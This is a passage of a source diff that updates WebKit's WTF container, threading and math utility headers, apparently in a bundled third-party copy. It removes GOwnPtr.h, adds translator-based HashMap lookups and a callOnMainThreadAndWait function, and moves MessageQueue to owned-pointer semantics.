- *  You should have received a copy of the GNU Library General Public License
- *  along with this library; see the file COPYING.LIB.  If not, write to
- *  the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
- *  Boston, MA 02110-1301, USA.
- *
- */
-
-#ifndef GOwnPtr_h
-#define GOwnPtr_h
-
-#include <algorithm>
-#include <glib.h>
-#include <wtf/Assertions.h>
-#include <wtf/Noncopyable.h>
-
-namespace WTF {
-    template <typename T> inline void freeOwnedGPtr(T* ptr) { g_free(reinterpret_cast<void*>(ptr)); }
-    template<> void freeOwnedGPtr<GError>(GError*);
-    template<> void freeOwnedGPtr<GList>(GList*);
-    template<> void freeOwnedGPtr<GCond>(GCond*);
-    template<> void freeOwnedGPtr<GMutex>(GMutex*);
-    template<> void freeOwnedGPtr<GPatternSpec>(GPatternSpec*);
-    template<> void freeOwnedGPtr<GDir>(GDir*);
-    template<> void freeOwnedGPtr<GHashTable>(GHashTable*);
-
-    template <typename T> class GOwnPtr : public Noncopyable {
-    public:
-        explicit GOwnPtr(T* ptr = 0) : m_ptr(ptr) { }
-        ~GOwnPtr() { freeOwnedGPtr(m_ptr); }
-
-        T* get() const { return m_ptr; }
-        T* release() { T* ptr = m_ptr; m_ptr = 0; return ptr; }
-        T*& outPtr() { ASSERT(!m_ptr); return m_ptr; }
-
-        void set(T* ptr) { ASSERT(!ptr || m_ptr != ptr); freeOwnedGPtr(m_ptr); m_ptr = ptr; }
-        void clear() { freeOwnedGPtr(m_ptr); m_ptr = 0; }
-
-        T& operator*() const { ASSERT(m_ptr); return *m_ptr; }
-        T* operator->() const { ASSERT(m_ptr); return m_ptr; }
-
-        bool operator!() const { return !m_ptr; }
-
-        // This conversion operator allows implicit conversion to bool but not to other integer types.
-        typedef T* GOwnPtr::*UnspecifiedBoolType;
-        operator UnspecifiedBoolType() const { return m_ptr ? &GOwnPtr::m_ptr : 0; }
-
-        void swap(GOwnPtr& o) { std::swap(m_ptr, o.m_ptr); }
-
-    private:
-        T* m_ptr;
-    };
-    
-    template <typename T> inline void swap(GOwnPtr<T>& a, GOwnPtr<T>& b) { a.swap(b); }
-
-    template <typename T, typename U> inline bool operator==(const GOwnPtr<T>& a, U* b)
-    { 
-        return a.get() == b; 
-    }
-    
-    template <typename T, typename U> inline bool operator==(T* a, const GOwnPtr<U>& b) 
-    {
-        return a == b.get(); 
-    }
-
-    template <typename T, typename U> inline bool operator!=(const GOwnPtr<T>& a, U* b)
-    {
-        return a.get() != b; 
-    }
-
-    template <typename T, typename U> inline bool operator!=(T* a, const GOwnPtr<U>& b)
-    { 
-        return a != b.get(); 
-    }
-    
-    template <typename T> inline typename GOwnPtr<T>::PtrType getPtr(const GOwnPtr<T>& p)
-    {
-        return p.get();
-    }
-
-} // namespace WTF
-
-using WTF::GOwnPtr;
-
-#endif // GOwnPtr_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/HashCountedSet.h b/src/3rdparty/webkit/JavaScriptCore/wtf/HashCountedSet.h
index 165eb41..4ed75c5 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/HashCountedSet.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/HashCountedSet.h
@@ -43,7 +43,7 @@ namespace WTF {
         int capacity() const;
         bool isEmpty() const;
         
-        // iterators iterate over pairs of values and counts
+        // Iterators iterate over pairs of values and counts.
         iterator begin();
         iterator end();
         const_iterator begin() const;
@@ -54,21 +54,21 @@ namespace WTF {
         bool contains(const ValueType&) const;
         unsigned count(const ValueType&) const;
 
-        // increases the count if an equal value is already present
-        // the return value is a pair of an interator to the new value's location, 
-        // and a bool that is true if an new entry was added
+        // Increases the count if an equal value is already present
+        // the return value is a pair of an interator to the new value's 
+        // location, and a bool that is true if an new entry was added.
         std::pair<iterator, bool> add(const ValueType&);
         
-        // reduces the count of the value, and removes it if count
-        // goes down to zero
-        void remove(const ValueType&);
-        void remove(iterator);
+        // Reduces the count of the value, and removes it if count
+        // goes down to zero, returns true if the value is removed.
+        bool remove(const ValueType&);
+        bool remove(iterator);
  
-        // removes the value, regardless of its count
+        // Removes the value, regardless of its count.
         void removeAll(iterator);
         void removeAll(const ValueType&);
 
-        // clears the whole set
+        // Clears the whole set.
         void clear();
 
     private:
@@ -150,24 +150,27 @@ namespace WTF {
     }
     
     template<typename Value, typename HashFunctions, typename Traits>
-    inline void HashCountedSet<Value, HashFunctions, Traits>::remove(const ValueType& value)
+    inline bool HashCountedSet<Value, HashFunctions, Traits>::remove(const ValueType& value)
     {
-        remove(find(value));
+        return remove(find(value));
     }
     
     template<typename Value, typename HashFunctions, typename Traits>
-    inline void HashCountedSet<Value, HashFunctions, Traits>::remove(iterator it)
+    inline bool HashCountedSet<Value, HashFunctions, Traits>::remove(iterator it)
     {
         if (it == end())
-            return;
+            return false;
 
         unsigned oldVal = it->second;
-        ASSERT(oldVal != 0);
+        ASSERT(oldVal);
         unsigned newVal = oldVal - 1;
-        if (newVal == 0)
-            m_impl.remove(it);
-        else
+        if (newVal) {
             it->second = newVal;
+            return false;
+        }
+
+        m_impl.remove(it);
+        return true;
     }
     
     template<typename Value, typename HashFunctions, typename Traits>
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/HashFunctions.h b/src/3rdparty/webkit/JavaScriptCore/wtf/HashFunctions.h
index 13afb72..2c66a2d 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/HashFunctions.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/HashFunctions.h
@@ -173,9 +173,6 @@ namespace WTF {
     template<typename P> struct DefaultHash<RefPtr<P> > { typedef PtrHash<RefPtr<P> > Hash; };
 
     template<typename T, typename U> struct DefaultHash<std::pair<T, U> > { typedef PairHash<T, U> Hash; };
-    
-    // Golden ratio - arbitrary start value to avoid mapping all 0's to all 0's
-    static const unsigned stringHashingStartValue = 0x9e3779b9U;
 
 } // namespace WTF
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/HashMap.h b/src/3rdparty/webkit/JavaScriptCore/wtf/HashMap.h
index 3de5ee6..4631055 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/HashMap.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/HashMap.h
@@ -83,6 +83,25 @@ namespace WTF {
 
         MappedType take(const KeyType&); // efficient combination of get with remove
 
+        // An alternate version of find() that finds the object by hashing and comparing
+        // with some other type, to avoid the cost of type conversion. HashTranslator
+        // must have the following function members:
+        //   static unsigned hash(const T&);
+        //   static bool equal(const ValueType&, const T&);
+        template<typename TYPE, typename HashTranslator> iterator find(const TYPE&);
+        template<typename TYPE, typename HashTranslator> const_iterator find(const TYPE&) const;
+        template<typename TYPE, typename HashTranslator> bool contains(const TYPE&) const;
+
+        // An alternate version of add() that finds the object by hashing and comparing
+        // with some other type, to avoid the cost of type conversion if the object is already
+        // in the table. HashTranslator must have the following function members:
+        //   static unsigned hash(const T&);
+        //   static bool equal(const ValueType&, const T&);
+        //   static translate(ValueType&, const T&, unsigned hashCode);
+        template<typename TYPE, typename HashTranslator> pair<iterator, bool> add(const TYPE&, const MappedType&);
+
+        void checkConsistency() const;
+
     private:
         pair<iterator, bool> inlineAdd(const KeyType&, const MappedType&);
 
@@ -107,6 +126,20 @@ namespace WTF {
         }
     };
 
+    template<typename ValueType, typename ValueTraits, typename T, typename Translator>
+    struct HashMapTranslatorAdapter {
+        typedef typename ValueType::first_type KeyType;
+        typedef typename ValueType::second_type MappedType;
+
+        static unsigned hash(const T& key) { return Translator::hash(key); }
+        static bool equal(const KeyType& a, const T& b) { return Translator::equal(a, b); }
+        static void translate(ValueType& location, const T& key, const MappedType& mapped, unsigned hashCode)
+        {
+            Translator::translate(location.first, key, hashCode);
+            location.second = mapped;
+        }
+    };
+
     template<typename T, typename U, typename V, typename W, typename X>
     inline void HashMap<T, U, V, W, X>::swap(HashMap& other)
     {
@@ -174,6 +207,33 @@ namespace WTF {
     }
 
     template<typename T, typename U, typename V, typename W, typename X>
+    template<typename TYPE, typename HashTranslator>
+    inline typename HashMap<T, U, V, W, X>::iterator
+    HashMap<T, U, V, W, X>::find(const TYPE& value)
+    {
+        typedef HashMapTranslatorAdapter<ValueType, ValueTraits, TYPE, HashTranslator> Adapter;
+        return m_impl.template find<TYPE, Adapter>(value);
+    }
+
+    template<typename T, typename U, typename V, typename W, typename X>
+    template<typename TYPE, typename HashTranslator>
+    inline typename HashMap<T, U, V, W, X>::const_iterator 
+    HashMap<T, U, V, W, X>::find(const TYPE& value) const
+    {
+        typedef HashMapTranslatorAdapter<ValueType, ValueTraits, TYPE, HashTranslator> Adapter;
+        return m_impl.template find<TYPE, Adapter>(value);
+    }
+
+    template<typename T, typename U, typename V, typename W, typename X>
+    template<typename TYPE, typename HashTranslator>
+    inline bool
+    HashMap<T, U, V, W, X>::contains(const TYPE& value) const
+    {
+        typedef HashMapTranslatorAdapter<ValueType, ValueTraits, TYPE, HashTranslator> Adapter;
+        return m_impl.template contains<TYPE, Adapter>(value);
+    }
+
+    template<typename T, typename U, typename V, typename W, typename X>
     inline pair<typename HashMap<T, U, V, W, X>::iterator, bool>
     HashMap<T, U, V, W, X>::inlineAdd(const KeyType& key, const MappedType& mapped) 
     {
@@ -194,6 +254,15 @@ namespace WTF {
     }
 
     template<typename T, typename U, typename V, typename W, typename X>
+    template<typename TYPE, typename HashTranslator>
+    pair<typename HashMap<T, U, V, W, X>::iterator, bool>
+    HashMap<T, U, V, W, X>::add(const TYPE& key, const MappedType& value)
+    {
+        typedef HashMapTranslatorAdapter<ValueType, ValueTraits, TYPE, HashTranslator> Adapter;
+        return m_impl.template addPassingHashCode<TYPE, MappedType, Adapter>(key, value);
+    }
+
+    template<typename T, typename U, typename V, typename W, typename X>
     pair<typename HashMap<T, U, V, W, X>::iterator, bool>
     HashMap<T, U, V, W, X>::add(const KeyType& key, const MappedType& mapped)
     {
@@ -215,7 +284,7 @@ namespace WTF {
     {
         if (it.m_impl == m_impl.end())
             return;
-        m_impl.checkTableConsistency();
+        m_impl.internalCheckTableConsistency();
         m_impl.removeWithoutEntryConsistencyCheck(it.m_impl);
     }
 
@@ -245,6 +314,13 @@ namespace WTF {
     }
 
     template<typename T, typename U, typename V, typename W, typename X>
+    inline void HashMap<T, U, V, W, X>::checkConsistency() const
+    {
+        m_impl.checkTableConsistency();
+    }
+
+
+    template<typename T, typename U, typename V, typename W, typename X>
     bool operator==(const HashMap<T, U, V, W, X>& a, const HashMap<T, U, V, W, X>& b)
     {
         if (a.size() != b.size())
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/HashSet.h b/src/3rdparty/webkit/JavaScriptCore/wtf/HashSet.h
index f4e2cf7..4429490 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/HashSet.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/HashSet.h
@@ -81,7 +81,7 @@ namespace WTF {
 
         // An alternate version of add() that finds the object by hashing and comparing
         // with some other type, to avoid the cost of type conversion if the object is already
-        // in the table. HashTranslator must have the following methods:
+        // in the table. HashTranslator must have the following function members:
         //   static unsigned hash(const T&);
         //   static bool equal(const ValueType&, const T&);
         //   static translate(ValueType&, const T&, unsigned hashCode);
@@ -224,7 +224,7 @@ namespace WTF {
     {
         if (it.m_impl == m_impl.end())
             return;
-        m_impl.checkTableConsistency();
+        m_impl.internalCheckTableConsistency();
         m_impl.removeWithoutEntryConsistencyCheck(it.m_impl);
     }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/HashTable.h b/src/3rdparty/webkit/JavaScriptCore/wtf/HashTable.h
index 3b283f8..ceb8963 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/HashTable.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/HashTable.h
@@ -24,12 +24,14 @@
 
 #include "FastMalloc.h"
 #include "HashTraits.h"
+#include "ValueCheck.h"
 #include <wtf/Assertions.h>
 #include <wtf/Threading.h>
 
 namespace WTF {
 
 #define DUMP_HASHTABLE_STATS 0
+// Enables internal WTF consistency checks that are invoked automatically. Non-WTF callers can call checkTableConsistency() even if internal checks are disabled.
 #define CHECK_HASHTABLE_CONSISTENCY 0
 
 #ifdef NDEBUG
@@ -197,7 +199,7 @@ namespace WTF {
         void checkValidity(const const_iterator& other) const
         {
             ASSERT(m_table);
-            ASSERT(other.m_table);
+            ASSERT_UNUSED(other, other.m_table);
             ASSERT(m_table == other.m_table);
         }
 #else
@@ -340,11 +342,18 @@ namespace WTF {
         ValueType* lookup(const Key& key) { return lookup<Key, IdentityTranslatorType>(key); }
         template<typename T, typename HashTranslator> ValueType* lookup(const T&);
 
-#if CHECK_HASHTABLE_CONSISTENCY
+#if !ASSERT_DISABLED
         void checkTableConsistency() const;
 #else
         static void checkTableConsistency() { }
 #endif
+#if CHECK_HASHTABLE_CONSISTENCY
+        void internalCheckTableConsistency() const { checkTableConsistency(); }
+        void internalCheckTableConsistencyExceptSize() const { checkTableConsistencyExceptSize(); }
+#else
+        static void internalCheckTableConsistencyExceptSize() { }
+        static void internalCheckTableConsistency() { }
+#endif
 
     private:
         static ValueType* allocateTable(int size);
@@ -383,7 +392,7 @@ namespace WTF {
         iterator makeKnownGoodIterator(ValueType* pos) { return iterator(this, pos, m_table + m_tableSize, HashItemKnownGood); }
         const_iterator makeKnownGoodConstIterator(ValueType* pos) const { return const_iterator(this, pos, m_table + m_tableSize, HashItemKnownGood); }
 
-#if CHECK_HASHTABLE_CONSISTENCY
+#if !ASSERT_DISABLED
         void checkTableConsistencyExceptSize() const;
 #else
         static void checkTableConsistencyExceptSize() { }
@@ -624,7 +633,7 @@ namespace WTF {
         if (!m_table)
             expand();
 
-        checkTableConsistency();
+        internalCheckTableConsistency();
 
         ASSERT(m_table);
 
@@ -693,7 +702,7 @@ namespace WTF {
             return p;
         }
         
-        checkTableConsistency();
+        internalCheckTableConsistency();
         
         return std::make_pair(makeKnownGoodIterator(entry), true);
     }
@@ -709,7 +718,7 @@ namespace WTF {
         if (!m_table)
             expand();
 
-        checkTableConsistency();
+        internalCheckTableConsistency();
 
         FullLookupType lookupResult = fullLookupForWriting<T, HashTranslator>(key);
 
@@ -738,7 +747,7 @@ namespace WTF {
             return p;
         }
 
-        checkTableConsistency();
+        internalCheckTableConsistency();
 
         return std::make_pair(makeKnownGoodIterator(entry), true);
     }
@@ -805,7 +814,7 @@ namespace WTF {
     void HashTable<Key, Value, Extractor, HashFunctions, Traits, KeyTraits>::removeAndInvalidate(ValueType* pos)
     {
         invalidateIterators();
-        checkTableConsistency();
+        internalCheckTableConsistency();
         remove(pos);
     }
 
@@ -823,7 +832,7 @@ namespace WTF {
         if (shouldShrink())
             shrink();
 
-        checkTableConsistency();
+        internalCheckTableConsistency();
     }
 
     template<typename Key, typename Value, typename Extractor, typename HashFunctions, typename Traits, typename KeyTraits>
@@ -892,7 +901,7 @@ namespace WTF {
     template<typename Key, typename Value, typename Extractor, typename HashFunctions, typename Traits, typename KeyTraits>
     void HashTable<Key, Value, Extractor, HashFunctions, Traits, KeyTraits>::rehash(int newTableSize)
     {
-        checkTableConsistencyExceptSize();
+        internalCheckTableConsistencyExceptSize();
 
         int oldTableSize = m_tableSize;
         ValueType* oldTable = m_table;
@@ -914,7 +923,7 @@ namespace WTF {
 
         deallocateTable(oldTable, oldTableSize);
 
-        checkTableConsistency();
+        internalCheckTableConsistency();
     }
 
     template<typename Key, typename Value, typename Extractor, typename HashFunctions, typename Traits, typename KeyTraits>
@@ -981,13 +990,13 @@ namespace WTF {
         return *this;
     }
 
-#if CHECK_HASHTABLE_CONSISTENCY
+#if !ASSERT_DISABLED
 
     template<typename Key, typename Value, typename Extractor, typename HashFunctions, typename Traits, typename KeyTraits>
     void HashTable<Key, Value, Extractor, HashFunctions, Traits, KeyTraits>::checkTableConsistency() const
     {
         checkTableConsistencyExceptSize();
-        ASSERT(!shouldExpand());
+        ASSERT(!m_table || !shouldExpand());
         ASSERT(!shouldShrink());
     }
 
@@ -1012,6 +1021,8 @@ namespace WTF {
             const_iterator it = find(Extractor::extract(*entry));
             ASSERT(entry == it.m_position);
             ++count;
+
+            ValueCheck<Key>::checkConsistency(it->first);
         }
 
         ASSERT(count == m_keyCount);
@@ -1021,7 +1032,7 @@ namespace WTF {
         ASSERT(m_tableSize == m_tableSizeMask + 1);
     }
 
-#endif // CHECK_HASHTABLE_CONSISTENCY
+#endif // ASSERT_DISABLED
 
 #if CHECK_HASHTABLE_ITERATORS
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/ListHashSet.h b/src/3rdparty/webkit/JavaScriptCore/wtf/ListHashSet.h
index 38cc998..54ed36b 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/ListHashSet.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/ListHashSet.h
@@ -51,7 +51,7 @@ namespace WTF {
     template<typename ValueArg> struct ListHashSetNodeAllocator;
     template<typename ValueArg, typename HashArg> struct ListHashSetNodeHashFunctions;
 
-    template<typename ValueArg, typename HashArg = typename DefaultHash<ValueArg>::Hash> class ListHashSet {
+    template<typename ValueArg, typename HashArg = typename DefaultHash<ValueArg>::Hash> class ListHashSet : public FastAllocBase {
     private:
         typedef ListHashSetNode<ValueArg> Node;
         typedef ListHashSetNodeAllocator<ValueArg> NodeAllocator;
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/MainThread.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/MainThread.cpp
index e999094..40a4ae5 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/MainThread.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/MainThread.cpp
@@ -39,10 +39,12 @@ namespace WTF {
 struct FunctionWithContext {
     MainThreadFunction* function;
     void* context;
+    ThreadCondition* syncFlag;
 
-    FunctionWithContext(MainThreadFunction* function = 0, void* context = 0)
+    FunctionWithContext(MainThreadFunction* function = 0, void* context = 0, ThreadCondition* syncFlag = 0)
         : function(function)
         , context(context)
+        , syncFlag(syncFlag)
     { 
     }
 };
@@ -92,6 +94,8 @@ void dispatchFunctionsFromMainThread()
         }
 
         invocation.function(invocation.context);
+        if (invocation.syncFlag)
+            invocation.syncFlag->signal();
 
         // If we are running accumulated functions for too long so UI may become unresponsive, we need to
         // yield so the user input can be processed. Otherwise user may not be able to even close the window.
@@ -117,6 +121,24 @@ void callOnMainThread(MainThreadFunction* function, void* context)
         scheduleDispatchFunctionsOnMainThread();
 }
 
+void callOnMainThreadAndWait(MainThreadFunction* function, void* context)
+{
+    ASSERT(function);
+
+    if (isMainThread()) {
+        function(context);
+        return;
+    }
+
+    ThreadCondition syncFlag;
+    Mutex& functionQueueMutex = mainThreadFunctionQueueMutex();
+    MutexLocker locker(functionQueueMutex);
+    functionQueue().append(FunctionWithContext(function, context, &syncFlag));
+    if (functionQueue().size() == 1)
+        scheduleDispatchFunctionsOnMainThread();
+    syncFlag.wait(functionQueueMutex);
+}
+
 void setMainThreadCallbacksPaused(bool paused)
 {
     ASSERT(isMainThread());
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/MainThread.h b/src/3rdparty/webkit/JavaScriptCore/wtf/MainThread.h
index 01ce804..8c0275b 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/MainThread.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/MainThread.h
@@ -38,6 +38,9 @@ typedef void MainThreadFunction(void*);
 
 void callOnMainThread(MainThreadFunction*, void* context);
 
+// Blocks the thread until the call finishes on the main thread. Misusing this can easily cause deadlocks.
+void callOnMainThreadAndWait(MainThreadFunction*, void* context);
+
 void setMainThreadCallbacksPaused(bool paused);
 
 // Must be called from the main thread (Darwin is an exception to this rule).
@@ -52,6 +55,7 @@ void dispatchFunctionsFromMainThread();
 } // namespace WTF
 
 using WTF::callOnMainThread;
+using WTF::callOnMainThreadAndWait;
 using WTF::setMainThreadCallbacksPaused;
 
 #endif // MainThread_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/MathExtras.h b/src/3rdparty/webkit/JavaScriptCore/wtf/MathExtras.h
index 556230e..a0c7466 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/MathExtras.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/MathExtras.h
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2006, 2007, 2008 Apple Inc. All rights reserved.
+ * Copyright (C) 2006, 2007, 2008, 2009, 2010 Apple Inc. All rights reserved.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -26,28 +26,24 @@
 #ifndef WTF_MathExtras_h
 #define WTF_MathExtras_h
 
-#include <math.h>
+#include <cmath>
+#include <float.h>
 #include <stdlib.h>
 
-#if PLATFORM(SOLARIS)
+#if OS(SOLARIS)
 #include <ieeefp.h>
 #endif
 
-#if PLATFORM(OPENBSD)
+#if OS(OPENBSD)
 #include <sys/types.h>
 #include <machine/ieee.h>
 #endif
 
 #if COMPILER(MSVC)
-#if PLATFORM(WINCE)
+#if OS(WINCE)
 #include <stdlib.h>
 #endif
 #include <limits>
-
-#if HAVE(FLOAT_H)
-#include <float.h>
-#endif
-
 #endif
 
 #ifndef M_PI
@@ -66,7 +62,7 @@ const double piOverFourDouble = M_PI_4;
 const float piOverFourFloat = static_cast<float>(M_PI_4);
 #endif
 
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
 
 // Work around a bug in the Mac OS X libc where ceil(-0.1) return +0.
 inline double wtf_ceil(double x) { return copysign(ceil(x), x); }
@@ -75,7 +71,7 @@ inline double wtf_ceil(double x) { return copysign(ceil(x), x); }
 
 #endif
 
-#if PLATFORM(SOLARIS)
+#if OS(SOLARIS)
 
 #ifndef isfinite
 inline bool isfinite(double x) { return finite(x) && !isnand(x); }
@@ -89,7 +85,7 @@ inline bool signbit(double x) { return x < 0.0; } // FIXME: Wrong for negative 0
 
 #endif
 
-#if PLATFORM(OPENBSD)
+#if OS(OPENBSD)
 
 #ifndef isfinite
 inline bool isfinite(double x) { return finite(x); }
@@ -102,18 +98,33 @@ inline bool signbit(double x) { struct ieee_double *p = (struct ieee_double *)&x
 
 #if COMPILER(MSVC) || COMPILER(RVCT)
 
-inline long long llround(double num) { return static_cast<long long>(num > 0 ? num + 0.5 : ceil(num - 0.5)); }
-inline long long llroundf(float num) { return static_cast<long long>(num > 0 ? num + 0.5f : ceil(num - 0.5f)); }
-inline long lround(double num) { return static_cast<long>(num > 0 ? num + 0.5 : ceil(num - 0.5)); }
-inline long lroundf(float num) { return static_cast<long>(num > 0 ? num + 0.5f : ceilf(num - 0.5f)); }
-inline double round(double num) { return num > 0 ? floor(num + 0.5) : ceil(num - 0.5); }
-inline float roundf(float num) { return num > 0 ? floorf(num + 0.5f) : ceilf(num - 0.5f); }
+// We must not do 'num + 0.5' or 'num - 0.5' because they can cause precision loss.
+static double round(double num)
+{
+    double integer = ceil(num);
+    if (num > 0)
+        return integer - num > 0.5 ? integer - 1.0 : integer;
+    return integer - num >= 0.5 ? integer - 1.0 : integer;
+}
+static float roundf(float num)
+{
+    float integer = ceilf(num);
+    if (num > 0)
+        return integer - num > 0.5f ? integer - 1.0f : integer;
+    return integer - num >= 0.5f ? integer - 1.0f : integer;
+}
+inline long long llround(double num) { return static_cast<long long>(round(num)); }
+inline long long llroundf(float num) { return static_cast<long long>(roundf(num)); }
+inline long lround(double num) { return static_cast<long>(round(num)); }
+inline long lroundf(float num) { return static_cast<long>(roundf(num)); }
 inline double trunc(double num) { return num > 0 ? floor(num) : ceil(num); }
 
 #endif
 
 #if COMPILER(MSVC)
 
+inline long long abs(long long num) { return _abs64(num); }
+
 inline bool isinf(double num) { return !_finite(num) && !_isnan(num); }
 inline bool isnan(double num) { return !!_isnan(num); }
 inline bool signbit(double num) { return _copysign(1.0, num) < 0; }
@@ -177,4 +188,11 @@ inline float deg2turn(float d) { return d / 360.0f; }
 inline float rad2grad(float r) { return r * 200.0f / piFloat; }
 inline float grad2rad(float g) { return g * piFloat / 200.0f; }
 
+#if !COMPILER(MSVC) && !COMPILER(RVCT) && !OS(ANDROID) && !COMPILER(WINSCW)
+using std::isfinite;
+using std::isinf;
+using std::isnan;
+using std::signbit;
+#endif
+
 #endif // #ifndef WTF_MathExtras_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/MessageQueue.h b/src/3rdparty/webkit/JavaScriptCore/wtf/MessageQueue.h
index 9c9a4a7..48bd10a 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/MessageQueue.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/MessageQueue.h
@@ -44,23 +44,27 @@ namespace WTF {
         MessageQueueMessageReceived,  // A message was successfully received and returned.
     };
 
+    // The queue takes ownership of messages and transfer it to the new owner
+    // when messages are fetched from the queue.
+    // Essentially, MessageQueue acts as a queue of OwnPtr<DataType>.
     template<typename DataType>
     class MessageQueue : public Noncopyable {
     public:
         MessageQueue() : m_killed(false) { }
-        
-        void append(const DataType&);
-        bool appendAndCheckEmpty(const DataType&);
-        void prepend(const DataType&);
-        bool waitForMessage(DataType&);
+        ~MessageQueue();
+
+        void append(PassOwnPtr<DataType>);
+        bool appendAndCheckEmpty(PassOwnPtr<DataType>);
+        void prepend(PassOwnPtr<DataType>);
+
+        PassOwnPtr<DataType> waitForMessage();
+        PassOwnPtr<DataType> tryGetMessage();
         template<typename Predicate>
-        MessageQueueWaitResult waitForMessageFilteredWithTimeout(DataType&, Predicate&, double absoluteTime);
+        PassOwnPtr<DataType> waitForMessageFilteredWithTimeout(MessageQueueWaitResult&, Predicate&, double absoluteTime);
 
         template<typename Predicate>
         void removeIf(Predicate&);
 
-        bool tryGetMessage(DataType&);
-
         void kill();
         bool killed() const;
 
@@ -70,86 +74,98 @@ namespace WTF {
         static double infiniteTime() { return std::numeric_limits<double>::max(); }
 
     private:
-        static bool alwaysTruePredicate(DataType&) { return true; }
+        static bool alwaysTruePredicate(DataType*) { return true; }
 
         mutable Mutex m_mutex;
         ThreadCondition m_condition;
-        Deque<DataType> m_queue;
+        Deque<DataType*> m_queue;
         bool m_killed;
     };
 
     template<typename DataType>
-    inline void MessageQueue<DataType>::append(const DataType& message)
+    MessageQueue<DataType>::~MessageQueue()
+    {
+        deleteAllValues(m_queue);
+    }
+
+    template<typename DataType>
+    inline void MessageQueue<DataType>::append(PassOwnPtr<DataType> message)
     {
         MutexLocker lock(m_mutex);
-        m_queue.append(message);
+        m_queue.append(message.release());
         m_condition.signal();
     }
 
     // Returns true if the queue was empty before the item was added.
     template<typename DataType>
-    inline bool MessageQueue<DataType>::appendAndCheckEmpty(const DataType& message)
+    inline bool MessageQueue<DataType>::appendAndCheckEmpty(PassOwnPtr<DataType> message)
     {
         MutexLocker lock(m_mutex);
         bool wasEmpty = m_queue.isEmpty();
-        m_queue.append(message);
+        m_queue.append(message.release());
         m_condition.signal();
         return wasEmpty;
     }
 
     template<typename DataType>
-    inline void MessageQueue<DataType>::prepend(const DataType& message)
+    inline void MessageQueue<DataType>::prepend(PassOwnPtr<DataType> message)
     {
         MutexLocker lock(m_mutex);
-        m_queue.prepend(message);
+        m_queue.prepend(message.release());
         m_condition.signal();
     }
 
     template<typename DataType>
-    inline bool MessageQueue<DataType>::waitForMessage(DataType& result)
+    inline PassOwnPtr<DataType> MessageQueue<DataType>::waitForMessage()
     {
-        MessageQueueWaitResult exitReason = waitForMessageFilteredWithTimeout(result, MessageQueue<DataType>::alwaysTruePredicate, infiniteTime());
+        MessageQueueWaitResult exitReason; 
+        PassOwnPtr<DataType> result = waitForMessageFilteredWithTimeout(exitReason, MessageQueue<DataType>::alwaysTruePredicate, infiniteTime());
         ASSERT(exitReason == MessageQueueTerminated || exitReason == MessageQueueMessageReceived);
-        return exitReason == MessageQueueMessageReceived;
+        return result;
     }
 
     template<typename DataType>
     template<typename Predicate>
-    inline MessageQueueWaitResult MessageQueue<DataType>::waitForMessageFilteredWithTimeout(DataType& result, Predicate& predicate, double absoluteTime)
+    inline PassOwnPtr<DataType> MessageQueue<DataType>::waitForMessageFilteredWithTimeout(MessageQueueWaitResult& result, Predicate& predicate, double absoluteTime)
     {
         MutexLocker lock(m_mutex);
         bool timedOut = false;
 
-        DequeConstIterator<DataType> found = m_queue.end();
+        DequeConstIterator<DataType*> found = m_queue.end();
         while (!m_killed && !timedOut && (found = m_queue.findIf(predicate)) == m_queue.end())
             timedOut = !m_condition.timedWait(m_mutex, absoluteTime);
 
         ASSERT(!timedOut || absoluteTime != infiniteTime());
 
-        if (m_killed)
-            return MessageQueueTerminated;
+        if (m_killed) {
+            result = MessageQueueTerminated;
+            return 0;
+        }
 
-        if (timedOut)
-            return MessageQueueTimeout;
+        if (timedOut) {
+            result = MessageQueueTimeout;
+            return 0;
+        }
 
         ASSERT(found != m_queue.end());
-        result = *found;
+        DataType* message = *found;
         m_queue.remove(found);
-        return MessageQueueMessageReceived;
+        result = MessageQueueMessageReceived;
+        return message;
     }
 
     template<typename DataType>
-    inline bool MessageQueue<DataType>::tryGetMessage(DataType& result)
+    inline PassOwnPtr<DataType> MessageQueue<DataType>::tryGetMessage()
     {
         MutexLocker lock(m_mutex);
         if (m_killed)
-            return false;
+            return 0;
         if (m_queue.isEmpty())
-            return false;
+            return 0;
 
-        result = m_queue.first();
+        DataType* message = m_queue.first();
         m_queue.removeFirst();
-        return true;
+        return message;
     }
 
     template<typename DataType>
@@ -157,9 +173,15 @@ namespace WTF {
     inline void MessageQueue<DataType>::removeIf(Predicate& predicate)
     {
         MutexLocker lock(m_mutex);
-        DequeConstIterator<DataType> found = m_queue.end();
-        while ((found = m_queue.findIf(predicate)) != m_queue.end()) {
+        // See bug 31657 for why this loop looks so weird
+        while (true) {
